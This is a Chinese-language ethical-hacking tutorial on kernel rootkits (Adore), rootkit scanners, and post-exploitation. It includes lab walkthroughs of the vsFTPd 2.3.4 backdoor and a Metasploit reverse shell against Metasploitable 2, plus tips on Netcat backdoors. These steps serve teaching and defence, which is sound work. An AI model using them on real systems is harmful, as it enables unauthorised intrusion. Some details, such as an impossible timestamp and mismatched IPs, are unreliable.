核心模式 rootkit 藉由深入作業系統核心,修改系統底層元件以達到隱藏自身的目的,難以被一般防毒軟體或使用者察覺。它能控制系統關鍵功能,例如程式管理、檔案系統和網路通訊,進而竊取資料、操控系統或發動攻擊。常見的型別包括偽裝成驅動程式或模組、直接修改核心記憶體、利用虛擬化技術等。Adore 作為經典案例,展現了 rootkit 如何隱藏檔案、網路連線和程式,並提供後門存取。面對這類別威脅,chkrootkit 和 rkhunter 等工具能有效掃描並檢測系統中潛藏的 rootkit,透過檢查日誌、檔案系統和核心模組等方式,找出異常行為並示警。然而,由於 rootkit 技術不斷演進,單一工具並不能保證完全偵測,因此建議搭配多種工具和方法進行 comprehensive 的系統安全檢查。瞭解 rootkit 的運作機制和檢測方法,對於維護系統安全至關重要。
核心模式 rootkit 的深度探討
核心模式 rootkit(Kernel-mode Rootkits)是一種隱藏在作業系統核心中的惡意軟體,能夠躲避使用者和系統管理員的檢測。這些 rootkit 通常會修改程式的元資料,例如建立日期或檢查碼,以隱藏其最近的修改記錄。此外,它們可能包含工具來刪除日誌資料,進一步掩蓋其存在。
核心模式 rootkit 的能力
在大多數作業系統中,核心是最重要的元件之一,負責控制系統的關鍵元素。核心提供以下功能:
- 程式間通訊控制
- 程式和執行緒控制
- 記憶體控制
- 中斷控制
- 檔案系統控制
- 其他系統或硬體元件控制
核心的主要角色是保護其元件免受使用者層次程式或程式的意外或惡意修改。這些保護措施依賴於 CPU 中實作的硬體層次保護。在 x86 CPU 中,有不同的敏感度層次,稱為環(rings)或保護環。環 0 是最具許可權的層次,即核心;而環 3 是最不具許可權的層次,包含應用程式。
此圖示展示了保護環的概念
graph TD
A[Ring 0: Kernel] --> B[Ring 1]
B --> C[Ring 2]
C --> D[Ring 3: User Applications]
內容解密:
此圖示展示了 x86 架構中的保護環概念。核心執行在最具許可權的環 0 中,而應用程式執行在最不具許可權的環 3 中。這種設計確保了核心能夠有效地保護系統免受潛在威脅。
核心模式 rootkit 的型別
核心模式 rootkit 有多種形式,包括:
- 裝置驅動程式或可載入模組:這些模組能夠直接與核心互動。
- 記憶體核心修改:直接修改核心記憶體來隱藏其存在。
- 虛擬化層:利用虛擬化技術來實作隱藏。
- 直接在核心模式執行軟體:綕過正常的載入機制,直接執行在核心模式。
- 改變硬碟上的核心檔案:修改磁碟上的核心檔案來達到隱藏效果。
其中,裝置驅動程式或可載入模組是近年來最常見的形式。
Adore 的案例分析
Adore 是一個經典的核心模式 rootkit,雖然已經相當老舊,但在 Linux/Unix 作業系統中仍然廣泛使用。Adore 的主要功能是隱藏檔案、網路連線和程式使用情況。它由兩個元件構成:
- Adore:一個可載入的核心模組。
- Ava:一個與核心模組互動的程式。
Adore 的能力包括:
- 調整 wtmp、utmp 和 lastlog 日誌(例如省略資料)。
- 控制程式 ID 的可見性。
- 抑制 syslog。
- 隱藏或顯示檔案。
- 隱藏 netstat 資訊。
- 提供根殼回門(root shell backdoor)。
這種 rootkit 也相容 FreeBSD 作業系統。
Rootkit 掃描工具
Rootkit 掃描工具是檢測系統中 rootkit 的最佳方法。為了避免受感染系統被篡改,建議從已知乾淨的系統啟動這些掃描工具。以下介紹兩個知名的 rootkit 掃描工具:chkrootkit 和 rkhunter。
chkrootkit
chkrootkit 是一個免費的安全掃描器,能夠檢測並搜尋系統中安裝的 rootkit。它可以檢測超過70種不同的 rootkit,例如 LKR 變種、rootedoor、FU、Gold2、Adore、ZK 和 LOC。
$ sudo apt install chkrootkit
掃描命令如下:
$ sudo chkrootkit
chkrootkit 包含多個子工具:
- chklastlog:檢查 lastlog 日誌刪除情況。
- chkdirs:檢查載入可復原模組(LKM)的跡象。
- chkutmp:檢查 utmp 日誌刪除情況。
- chkwtmp:檢查 wtmp 日誌刪除情況。
內容解密:
chkrootkit 是一個強大且易於使用的 rootkit 檢測工具。它透過多種子工具來檢查不同型別的日誌和系統狀態,以確保系統沒有被 rootkit 感染。然而,它並不保證100%有效,因此應結合其他掃描方法使用。
rkhunter
Rootkit Hunter(rkhunter)是另一個開源安全掃描器,能夠搜尋已知和未知型別的 rootkit 感染。它進行多種檢查,包括:
- SHA-256 驗證碼變更
- 標記記憶體中的可疑字串
- 隱藏檔案
- 授予可疑許可權的可執行檔案
安裝命令如下:
$ sudo apt install rkhunter
掃描命令如下:
$ sudo rkhunter -c
rkhunter 執行多種檢查,包括系統檢查、rootkit 檢查、未知 rootkit 檢查、網路檢查和應用程式檢查。
內容解密:
rkhunter 是一個全面且強大的 rootkit 檢測工具。它不僅能夠檢測已知型別的 rootkit,還能夠發現潛在未知型別的威脅。儘管如此,它也不保證100%有效,因此應與其他安全措施結合使用。
後續利用技術
在資安攻擊過程中,後續利用(Post-Exploitation)是指在成功進入目標系統後,攻擊者如何維持並擴充套件其控制。這一階段的目標是確保長期存取,同時避免被發現。玄貓將詳細探討根套件(Rootkits)、雲端環境的存取維持以及一些實際操作練習。
根套件檢測與應對
根套件是一種隱藏在系統內部的惡意軟體,允許攻擊者取得未經授權的存取許可權。常見的根套件檢測工具包括 rkhunter,它可以檢查系統中的可疑分享記憶體段落、網路連線等。
此圖示展示了 rkhunter 的部分根套件檢查結果,顯示了一個大型分享記憶體段落的警告。這通常發生在虛擬化環境中,但這些警告也可能指向系統中的漏洞或可被利用的入口。
graph TD;
A[系統分享記憶體] --> B{大型分享記憶體段落};
B -->|警告| C[可能的漏洞];
C --> D[進一步檢查];
此圖示解說了系統分享記憶體段落的檢查流程,展示了大型分享記憶體段落可能引發的警告,並建議進行進一步檢查。
內容解密:
- 系統分享記憶體:這是指多個系統或應用程式共用同一個記憶體區域。
- 大型分享記憶體段落:這可能是系統資源分配不當或虛擬化環境中的正常現象,但也可能是潛在的安全風險。
- 警告:
rkhunter發現異常情況後會產生警告,提醒管理員注意。 - 進一步檢查:在發現警告後,管理員應進行深入檢查,確認是否有安全漏洞。
此外,rkhunter 還可以檢查網路和 localhost 連線,並提供詳細的統計資訊。這些檢查結果可以幫助管理員瞭解系統的安全狀況,並在必要時採取補救措施。
雲端環境中的存取維持
在雲端環境中維持存取是一項挑戰性任務。攻擊者通常會利用一些預設組態、弱協定或脆弱依賴來保持對目標系統的控制。以下是一些常見的方法:
- 預設弱組態或協定:例如,啟用預設舊版協定可能會讓攻擊者繞過多重身分驗證(MFA)機制。
- 建立新帳戶:攻擊者可能會建立看似合法的新帳戶,以便在需要時使用。
- 捕捉多個有效帳戶:攻擊者會收集多個有效帳戶並僅使用少數幾個進行活動,以避免被發現。
實際操作練習
以下是一些實際操作練習,旨在幫助讀者理解後續利用技術:
特權提升與橫向移動
- 使用
unix-privsec-check查詢本地系統中的漏洞,以確定是否存在提升特權的路徑。 - 使用
evil-winrm在發現初始存取憑證後進行橫向移動。
後門與木馬
- 使用 Netcat 作為後門,監聽並提供 Windows 和 Linux/Unix 作業系統上的 Shell 存取。
- 使用 TightVNC 作為遠端控制後門,允許遠端連線和互動。
嵌入式軟體後門
以下是一個使用 Metasploitable 2 和 Kali Linux 機器進行嵌入式軟體後門操作的例子:
從 Kali Linux 機器進行埠掃描,發現埠 21(FTP)開放。
nmap -p0-65535 192.168.99.131使用 Telnet 連線到埠 21,發現 FTP 伺服器為 vsFTP 2.3.4。
telnet 192.168.99.131 21輸入任何使用者名稱加上笑臉符號(:)即可開啟埠 6200 的 root 存取。
Telnet 連線到埠 6200 ,取得 root 許可權。
telnet 192.168.99.131 6200
此外,還有一些意外的後門可能存在於軟體中。例如 distccd ,它是 Linux 上的一個 C/C++ 編譯器。可以使用 Metasploit 的 msfconsole 命令來利用這些後門。
graph TD;
A[Metasploitable 2] --> B[FTP伺服器];
B --> C[vSFTPd 2.3.4];
C --> D[輸入使用者名稱 + :)];
D --> E[開啟埠6200];
E --> F[取得root許可權];
此圖示展示瞭如何利用 vsFTPd 的已知漏洞來取得 root 許可權。
內容解密:
- Metasploitable 2:這是一個專為測試和學習而設計的虛擬機器,內含多種已知漏洞。
- FTP伺服器:File Transfer Protocol 的簡寫,通常用於檔案傳輸。
- vSFTPd 2.3.4:vsFTPd 是一種開源 FTP 機伺服器軟體。
- 輸入使用者名稱 + :):這是利用 vsFTPd 漏洞的一種方法。
- 開啟埠6200:成功利用漏洞後會開啟新的埠。
- 取得root許可權:透過新開啟的埠可以獲得 root 許可權。
這些練習和技術分析能夠幫助讀者更好地理解後續利用技術及其應對策略。
後滲透行為演練
在進行後滲透行為時,我們需要設定目標。這裡所指的目標是 Metasploitable 2 機器的 IP 地址。以我的情況來說,該 IP 地址為 192.168.20.131。使用以下命令來設定目標:
set RHOST 192.168.20.131
接著,設定 LHOST,也就是你的 Kali Linux IP 地址。在我的情況下,這個 IP 地址是 192.168.20.130。設定 LHOST 的命令如下:
set LHOST 192.168.20.130
接下來,設定本地埠,這是反向殼會建立的埠。我將使用 4444 埠。命令如下:
set LPORT 4444
現在,我們已經定義了所有變數,讓我們繼續進行攻擊。這將執行攻擊,並且你應該會看到類別似以下的輸出:
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.20.130:4444 -> 192.168.20.131:38897) at 2023-06-18 12:106:03 -0700
接著,輸入 id 命令,並注意以下輸出:
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
內容解密:
在後滲透行為中,我們需要對目標系統進行一系列操作以保持對其的控制權。這些操作包括設定目標 IP、本地 IP 和埠等引數,並使用 Metasploit 框架來執行攻擊。
首先,我們需要設定目標 IP 地址(RHOST),這是我們要攻擊的 Metasploitable 機器的地址。同時也需要設定本地 IP(LHOST),也就是我們自己機器的 IP 地址。這兩個地址是必須正確組態的,否則攻擊將無法成功。
接著,設定反向殼連線的本地埠(LPORT)。這個埠是用來接收從目標系統傳回的連線。
當所有引數都設定完成後,我們可以執行攻擊命令。成功後,我們將獲得一個命令殼(command shell),這意味著我們可以在目標系統上執行任意命令。
最後,我們使用 id 命令來檢查目前的使用者身份。根據輸出結果,我們可以看到目前使用的是 daemon 使用者身份。
機器滲透之探討
Rootkit 技術
在 Linux/Unix 作業系統上嘗試安裝使用者模式 rootkit,例如 LRK。此外,可以使用以下 rootkit 掃描工具來掃描受影響和清潔系統:
- chkrootkit:這是一個常用的 rootkit 掃描工具,能夠檢測多種已知的 rootkit。
- rkhunter:這個工具能夠檢測範圍更廣泛,不僅僅是 rootkit,還能檢測其他型別的潛在威脅。
與學習資源
倫理駭客是一個複雜且不斷發展的領域,但對於任何想要從事網路安全的人來說都是不可或缺的技能。隨著網路攻擊數量的增加,倫理駭客的人才需求也越來越高。
如果你對倫理駭客感興趣並想從事相關工作,有許多資源可供你學習。例如線上課程、培訓營以及學位課程等。
此外還可以參加倫理駭客社群活動、參加會議和聚會等方式來提升自己的專業技能。
跨時代之守護者
倫理駭客必須保持對最新威脅和技術的瞭解。有許多資源可以幫助你做到這一點,例如安全部落格、新聞簡報和播客等。
希望本文能夠給你帶來有關倫理駭客的深刻見解。只要透過努力和堅持不懈地學習,你就有可能成為一名出色的倫理駭客並對世界產生積極影響。
